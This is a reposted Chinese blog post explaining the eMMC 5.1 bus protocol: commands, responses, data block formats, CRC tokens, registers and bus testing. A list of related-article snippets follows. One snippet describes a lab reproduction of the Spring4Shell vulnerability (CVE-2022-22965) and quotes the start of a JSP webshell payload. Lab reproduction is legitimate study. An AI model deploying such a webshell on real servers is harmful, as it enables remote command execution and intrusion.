Linux MMC子系统 - 2.eMMC 5.1总线协议浅析

By: Ailson Jack
Date: 2023.10.27
个人博客:http://www.only2fire.com/
本文在我博客的地址是:http://www.only2fire.com/archives/161.html,排版更好,便于学习,也可以去我博客逛逛,兴许有你想要的内容呢。

微信公众号:嵌入式那些事

eMMC总线拓扑

在eMMC总线中,可以有一个Host,多个eMMC设备。总线上的所有通信都是以Host发送一个Command给eMMC开始的,eMMC对于收到的不同Command会做出不同的response,当然了eMMC对于收到的部分Command可以不做response。Host一次只能与一个eMMC设备通信。

在上电启动后,Host会为所有eMMC设备依次分配相对地址(RCA,Relative card Address)。当Host需要和某一个eMMC设备通信时,会先通过RCA选中该eMMC设备,只有被选中的eMMC设备才会响应Host的Command。

eMMC总线协议

在系统上电复位后,Host必须使用eMMC总线协议指定的message来初始化eMMC设备。每个message都由下面的一个标记表示:

  • command:命令,一个命令是一个开始操作的标记。命令是由Host发给eMMC设备的。一个命令在CMD线上被串行传输。
  • response:响应,响应是由eMMC设备发送给Host,用于eMMC设备对先前收到命令的回复。一个响应在CMD线上被串行传输。
  • data:数据,数据可以从Host传输给eMMC设备,也可以从eMMC设备传输给Host。数据在数据线上被传输。用于传输数据的数据线可以是1个(DAT0),4个(DAT0-DAT3)或者8个(DAT0-DAT7)。

对于每一个数据线来说,在一个时钟周期可以传输1位数据,也就是SDR模式(single data rate)。当然了,在一个时钟周期可以传输2位数据,也就是DDR模式(dual data rate)。

eMMC的读和写命令是按照block为单位进行的。读和写可以是单块或者多块。读和写数据时,数据block后面会跟CRC。

eMMC读数据

Host从eMMC设备读取数据的流程图如下图所示:

在这里插入图片描述
如果Host发送的是Read Single Block的命令(CMD17),那么eMMC设备只会发送一个Block的数据(一个Block数据的字节数可以由Host通过CMD16命令设定或者为eMMC设备的默认值)。

如果Host发送的是Read Multiple Block的命令(CMD18),并且在发送CMD18之前,先发送一个SET BLOCK COUNT命令(CMD23)来设置需要读取的数据块数量,那么eMMC设备在传输完指定数量的数据块之后,会自动结束数据传输,不需要Host主动发送Stop Command(CMD12)。

如果Host发送的是Read Multiple Block的命令(CMD18),并且在发送CMD18之前,Host没有发送设置读取数据块数量的命令,那么eMMC设备会持续发送数据,直到Host主动发送Stop Command(CMD12)。

eMMC写数据

Host向eMMC设备写入数据的流程图如下图所示:

在这里插入图片描述
如果Host发送的是Write Single Block的命令(CMD24),那么eMMC设备只会将后续第一个Block的数据写入的存储器中(一个Block数据的字节数可以由Host通过CMD16命令设定或者为eMMC设备的默认值)。

如果Host发送的是Write Multiple Block的命令(CMD25),并且在发送CMD25之前,先发送一个SET BLOCK COUNT命令(CMD23)来设置需要写入的数据块数量,那么eMMC设备在接收完指定数量的数据块之后,会自动结束数据传输,不需要Host主动发送Stop Command(CMD12)。

如果Host发送的是Write Multiple Block的命令(CMD25),并且在发送CMD25之前,Host没有发送设置写入数据块数量的命令,那么eMMC设备会持续地将接收到的数据写入到存储器中,直到Host主动发送Stop Command(CMD12)。

eMMC设备在接收到一个Block的数据后,会进行CRC校验,然后将校验结果通过CRC Token发送给Host。发送完CRC Token后,如果CRC校验成功,eMMC设备会将数据写入到内部存储器,此时DAT0信号会拉低,作为Busy信号。Host会持续检测DAT0信号,直到为高电平时,才会接着发送下一个Block的数据。如果CRC校验失败,那么eMMC设备不会进行数据写入,此次传输的后续数据都会被忽略。

eMMC无数据和无响应命令示意

在Host与eMMC设备的通信中,有部分命令是不需要进行数据传输的,还有部分命令不需要eMMC设备回复Response,示意图如下所示:

在这里插入图片描述

eMMC命令

eMMC命令类型

eMMC协议定义了4种类型的命令,包括:bc、bcr、ac和adtc,这些命令类型的说明如下:

  • bc:broadcast commands(bc),bc是广播命令,主机发送bc命令给eMMC设备后,eMMC设备不需要回复响应(response)。
  • bcr:broadcast commands with response(bcr),bcr是需要eMMC设备回复响应的广播命令。
  • ac:addressed(point-to-point) commands(ac),ac是数据线(DAT lines)无数据传输的(no data transfer)点对点(point-to-point)命令。
  • adtc:addressed(point-to-point) data transfer commands(adtc),adtc是数据线有数据传输的点对点命令。

所有的命令(command)和响应(response)都是在CMD线上进行传输的。发送命令或响应时先发送起始位(Start bit),最后发送结束位(End bit)。

eMMC命令格式

eMMC的Command格式如下图所示:

在这里插入图片描述
eMMC的Command由48 bits组成,所有的eMMC命令都以01开始,以1结尾。所有的eMMC命令都是在CMD线上进行传输的,发送命令时先发送命令的起始位(Start bit),最后发送命令的结束位(End bit)。eMMC命令各个位的说明如下图所示:

在这里插入图片描述

  • Start Bit:起始位,固定为0,在没有命令传输的情况下,CMD线上的信号保持高电平,当Host将Start Bit发送到总线上时,eMMC设备可以很方便检测到命令的Start Bit(CMD线上的信号由高电平变为低电平),并开始接收Command。
  • Transmission Bit:传输位,固定为1,该位指示CMD线上数据的传输方向,该位为1,表示CMD线上数据的传输方向为从Host到eMMC设备。
  • Command Index和Argument:命令索引和命令参数,Command Index和Argument是命令的具体内容,不同的命令Command Index不同,不同的命令Argument也不相同。
  • CRC:CRC校验值,包含Start Bit、Transmission Bit、Command Index和Argument内容的CRC校验值。
  • End Bit:结束位,固定为1。

eMMC命令类别

eMMC的命令被划分成多种不同的类别。每一种命令类别支持一个设备功能的子集。

Class 0是所有eMMC设备都必须支持的命令类别。其他的命令类别根据具体的设备类型可以是必须支持的,也可以是可选的。

eMMC命令类别描述如下:

在这里插入图片描述
Host可以通过读取CSD寄存器的CCC [95:84]位域,来了解当前eMMC设备对命令类别的支持情况,对应的位域值为1,就表示该eMMC设备支持对应的命令类别。

eMMC响应

eMMC响应有两种长度的数据包,分别为48 Bits和136 Bits,eMMC响应的格式如下图所示:

在这里插入图片描述
eMMC的响应由48 bits或者136 bits组成,所有的eMMC响应都以00开始,以1结尾。所有的eMMC响应都是在CMD线上进行传输的,eMMC设备发送响应时先发送响应的起始位(Start bit),最后发送响应的结束位(End bit)。

  • Start Bit:起始位,固定为0,在没有响应传输的情况下,CMD线上的信号保持高电平,当eMMC设备将Start Bit发送到总线上时,Host可以很方便检测到响应的Start Bit(CMD线上的信号由高电平变为低电平),并开始接收响应。
  • Transmission Bit:传输位,固定为0,该位指示CMD线上数据的传输方向,该位为0,表示CMD线上数据的传输方向为从eMMC设备到Host。
  • Content:响应的具体内容,不同的响应Content不同。
  • CRC:CRC校验值,包含Start Bit、Transmission Bit和Content内容的CRC校验值。
  • End Bit:结束位,固定为1。

eMMC有5种类型的响应,包括:R1,R2,R3,R4和R5。

R1

R1响应的数据长度为48 bits,其中[45:40]数据位域表示的是该响应对应命令的编号。[39:8]是一个32位大小的位域,主要用于反应设备的状态信息,具体的设备状态信息内容可以参考eMMC 5.1 spec的6.13 Device status章节。

在这里插入图片描述
R1b和R1完全相同,只是R1b会在数据线DAT0上传输一个可选的busy信号。基于eMMC设备在接收命令之前的状态,eMMC设备在接收到一些命令之后可能会变得繁忙。

R2

R2响应的数据长度为136 bits。[127:1]是一个127位大小的位域,该位域将CID寄存器的值作为CMD2和CMD10的响应内容。[127:1]位域也可以将CSD寄存器的值作为CMD9的响应内容。CID和CSD寄存器的[127:1]位作为R2响应内容被传输,CID和CSD寄存器的保留位[0]由于该位的值总是1,因此保留位[0]被R2响应的End bit替换。

在这里插入图片描述

R3

R3响应的数据长度为48 bits。[39:8]是一个32位大小的位域,该位域将OCR寄存器的值作为CMD1的响应内容。

在这里插入图片描述

R4

R4响应的数据长度为48 bits。[39:8]是参数域,该位域包含寻址设备的RCA,要进行读写操作的寄存器地址以及寄存器内容。如果操作成功,参数域中的状态位将被置1。R4响应只作为对CMD39的响应。

在这里插入图片描述

R5

R5响应的数据长度为48 bits。如果该响应由Host产生,那么RCA[31:16]位域的值应该为0。R5响应只作为对CMD40的响应。

在这里插入图片描述

eMMC数据块

eMMC数据块由Start bit、Data、CRC和End bit组成。下面对不同总线宽度和数据速率(Date Rate)下,各个数据块的格式进行一个简单的说明。

1位总线宽度 SDR模式

在这里插入图片描述
CRC为Data的16 bitCRC校验值,不包含起始位。

4位总线宽度 SDR模式

在这里插入图片描述
各个数据线上的CRC为对应数据线的Data的16 bit CRC校验值。

8位总线宽度 SDR模式

在这里插入图片描述
各个数据线上的CRC为对应数据线的Data的16 bit CRC校验值。

4位总线宽度 DDR模式

在这里插入图片描述
DDR模式下,在时钟的上升沿和下降沿数据线都会传输数据。在时钟的上升沿传输数据的奇数字节(字节1,3,5 …),在时钟的下降沿传输数据的偶数字节(字节2,4,6 …)。

在DDR模式下,每个数据线上有两个相互交织的CRC16,时钟上升沿的CRC比特组成odd CRC16,时钟下降沿的CRC比特组成even CRC16。odd CRC16用于校验该数据线上所有上升沿比特组成的数据,even CRC16用于校验该数据线上所有下降沿比特组成的数据。

8位总线宽度 DDR模式

在这里插入图片描述

eMMC CRC status token

在Host向eMMC设备写数据过程中,eMMC设备接收到Host发送的一个数据块之后,会进行CRC校验,如果校验成功,eMMC设备会在对应的数据线上向Host回复一个Positive CRC status token(“010”),如果校验失败,eMMC设备会在对应的数据线上向Host回复一个Negative CRC status token(“101”)。

在Host从eMMC设备读取数据的过程中,Host接收到eMMC设备发送的一个数据块之后,也会进行CRC校验,但是不论校验成功还是校验失败,Host都不会向eMMC设备回复CRC status token。

Positive CRC status token

在这里插入图片描述

Negative CRC status token

在这里插入图片描述

eMMC寄存器

eMMC 5.1协议定义了7个寄存器:OCR,CID,CSD,EXT_CSD,RCA,DSR和QSR,下面简单的列举常用的6个寄存器。

名称宽度(字节)说明实现
OCR4操作条件寄存器(Operation conditions register)。通过广播命令获取寄存器信息,包含设备的供电类型和寻址模式。必须
CID16卡识别寄存器(Card IDentification)。包含识别设备的唯一码。必须
CSD16卡特定数据寄存器(Card Specific Data)。包含卡操作状态的具体信息。必须
Extended CSD512扩展卡特定数据寄存器(Extended Card Specific Data)。包含设备的容量和当前模式信息。必须
RCA2相对地址寄存器(Relative card address)。在初始化过程中,由主机控制器动态分配的地址。必须
DSR2驱动等级寄存器(Driver Stage Register)。配置设备的输出驱动。可选

eMMC总线测试过程

在SDR模式下,Host通过发送CMD19和CMD14可以进行eMMC总线测试过程(Bus testing procedure),测试eMMC接口的硬件引脚连接性。在DDR模式下,不支持总线测试,CMD19和CMD14被认为是非法命令。

在SDR模式下进行eMMC总线测试时,首先Host发送CMD19给eMMC设备,接着Host在每根数据线上发送特定格式的数据给eMMC。然后,Host发送CMD14给eMMC设备,请求eMMC设备回复翻转的数据。Host可以通过对接收到的翻转数据进行比较,就能知道eMMC接口的引脚引脚连接情况。

1bit总线宽度时,eMMC总线测试的数据格式如下图所示:

在这里插入图片描述
4bit总线宽度时,eMMC总线测试的数据格式如下图所示:

在这里插入图片描述
8bit总线宽度时,eMMC总线测试的数据格式如下图所示:

在这里插入图片描述
欢迎关注博主的公众号(微信搜索公众号:嵌入式那些事),可以扫描下面的公众号二维码:

在这里插入图片描述
如果文中有什么问题欢迎指正,毕竟博主的水平有限。

如果这篇文章对你有帮助,记得点赞和关注博主就行了^_^。

排版更好的内容见我博客的地址:http://www.only2fire.com/archives/161.html

注:转载请注明出处,谢谢!^_^

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/120800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

科技联众,互利共赢 | 卡驰科技(深圳)有限公司CEO张倍铭博士到访拓世科技集团,共探跨境电商,海外拓展无限可能

在创新的浪潮中,人工智能以其强大的能量持续推动着各行各业的进步,拓世科技集团作为人工智能领域的引领者,通过不断合作和交流,与众多领域的佼佼者共同探讨数字时代的无限可能。卡驰科技(深圳)有限公司作为…

适用于 Mac 或 Windows 的 4 种最佳 JPEG/PNG图片 恢复软件

您的计算机或外部存储驱动器上很可能有大量 JPEG /PNG图片照片,但不知何故,您意识到一些重要的 JPEG /PNG图片文件丢失或被删除,它们对您来说意义重大,您想要找回它们. 4 种最佳 JPEG/PNG图片 恢复软件 要成功执行 JPEG /PNG图片…

【Java笔试强训】Day6(45840-不要二、23292-字符串转成整数)

45840-不要二 链接:45840-不要二 题目: 二货小易有一个W*H的网格盒子,网格的行编号为0~ H-1,网格的列编号为0~W-1。每个格子至多可以放一块蛋糕,任意两块蛋糕的欧几里得距离不能等于2。 对于两个格子坐标(x1,y1),(…

Cross-modal Variational Alignment of Latent Spaces

方法 潜空间LS 辅助信息 作者未公布代码

Git窗口打开vim后如何退出编辑(IDEA/Goland等编辑器)

最近在学习git高级操作过程中,遇到了一下问题: 我在学习Git合并多个commit为一个的时候,需要输入一个命令 git rebase -i HEAD~2 这说明已经是编辑模式了。当我写好后,我还按照原来在linux上的按下ESC键,但是只是光…

知识链接,人工智能可以帮助人类验证世界知识吗?#verify_wikipedia

这是一篇来自Samaya AI的文章,主要介绍了其 CTO 在 Meta AIs FAIR labs 工作发表在 nature 上的一篇论文成果,用于验证和改进维基百科上的引用来源。我做了一些精选和整理,分享给大家: 研究背景 几千年来,人类一直在创…

中国技术的对外输出:Telegram也开始搞小程序应用了

Telegram 宣布为其开发者提供了一项“能够在其中运行迷你应用”的新功能( 迷你应用即 Mini App,下文中以“小程序”代替)。 在 Telegram 的博客中,开发人员介绍可以使用 JavaScript 构建自己的迷你应用 在一篇博客文章中&#xf…

【linux】麒麟v10安装Redis主从集群(ARM架构)

安装redis单示例的请看:麒麟v10安装Redis(ARM架构) 安装环境 ​Hostname​IP addressmaster192.168.0.1slave1192.168.0.2slave2192.168.0.3 下载安装包 (三台都操作) wget https://repo.huaweicloud.com/kunpeng/…

69 划分字母区间

划分字母区间 题解1 贪心1(方法略笨,性能很差)题解2 贪心2(参考标答) 给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段,同一字母最多出现在一个片段中。 注意,划分结果需要满足&am…

“从部署到优化,打造高效会议管理系统“

目录 引言一、部署单机项目 - 会议OA1.1 硬件和软件环境准备1.2 检查项目1.3 系统部署1.后端部署 二、部署前后端分离项目 - SPA项目后端部署2.前端部署 总结 引言 在现代化办公环境中,会议是组织沟通、决策和合作的重要方式之一。为了提高会议的效率和质量&#x…

针对element-plus,跳转jump(快速翻页)

待补充 const goToPage () > {const inputElement document.querySelector(.el-pagination .el-input__inner);console.log(inputElement, inputElement); } 打印之后可以看到分页跳转的数字输入框,是有进行处理的,max"102",是我自己的…

【每日一题】掷骰子等于目标和的方法数

文章目录 Tag题目来源题目解读解题思路方法一:动态规划 写在最后 Tag 【动态规划】【数组】 题目来源 1155. 掷骰子等于目标和的方法数 题目解读 你手里有 n 个一样的骰子,每个骰子都有 k 个面,分别标号 1 到 n。给定三个整数 n&#xff0…

【Linux】操作系统以及虚拟机的安装与配置

🥳🥳Welcome Huihuis Code World ! !🥳🥳 接下来看看由辉辉所写的关于Linux的相关操作吧 目录 🥳🥳Welcome Huihuis Code World ! !🥳🥳 一.操作系统的介绍 二.VMWare虚拟机的安装…

游戏研发的解决方案有哪些?

游戏研发的解决方案可以根据不同的需求和情境而有所不同,以下是一些常见的游戏研发解决方案: 游戏引擎: 游戏引擎是游戏研发的基础,它提供了开发游戏所需的核心功能,如图形渲染、物理引擎、音效管理、动画等。一些流行…

子集生成算法:给定一个集合,枚举所有可能的子集

给定一个集合,枚举所有可能的子集。 (为简单起见,本文讨论的集合中没有重复元素) 1、方法一:增量构造法 第一种思路是一次选出一个元素放到集合中,程序如下: void print_subset(int n, int …

36基于matlab的对分解层数和惩罚因子进行优化

基于matlab的对分解层数和惩罚因子进行优化。蚁狮优化算法优化VMD,算术优化算法优化VMD,遗传优化算法优化VMD,灰狼优化算法优化VMD,海洋捕食者优化算法优化VMD,粒子群优化VMD,麻雀优化算法优化VMD,鲸鱼优化…

C语言 每日一题 PTA 10.27 day5

1.高速公路超速处罚 按照规定,在高速公路上行使的机动车,达到或超出本车道限速的10 % 则处200元罚款; 若达到或超出50 % ,就要吊销驾驶证。请编写程序根据车速和限速自动判别对该机动车的处理。 输入格式 : 输入在一行中给出2个正…

win10 + VS2017 编译libjpeg(jpeg-9b)

需要用到的文件: jpeg-9b.zip win32.mak 下载链接链接:https://pan.baidu.com/s/1Z0fwbi74-ZSMjSej-0dV2A 提取码:huhu 步骤1:下载并解压jpeg-9b。 这里把jpeg-9b解压到文件夹"D:\build-libs\jpeg\build\jpeg-9b" …

CVE-2022-22965 Spring Framework远程命令执行

0x01 影响版本 Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK>9 0x02 复现环境 vulhub/spring/cve-2022-22965 0x03 漏洞复现 首先docker-compose up -d开启靶场 输入payload <%if("j".equals(request.getParameter("pwd")…

LSM树原理详解

LSM树(Log-Structured-Merge-Tree)的名字往往会给初识者一个错误的印象&#xff0c;事实上&#xff0c;LSM树并不像B树、红黑树一样是一颗严格的树状数据结构&#xff0c;它其实是一种存储结构&#xff0c;目前HBase,LevelDB,RocksDB这些NoSQL存储都是采用的LSM树。 LSM树的核…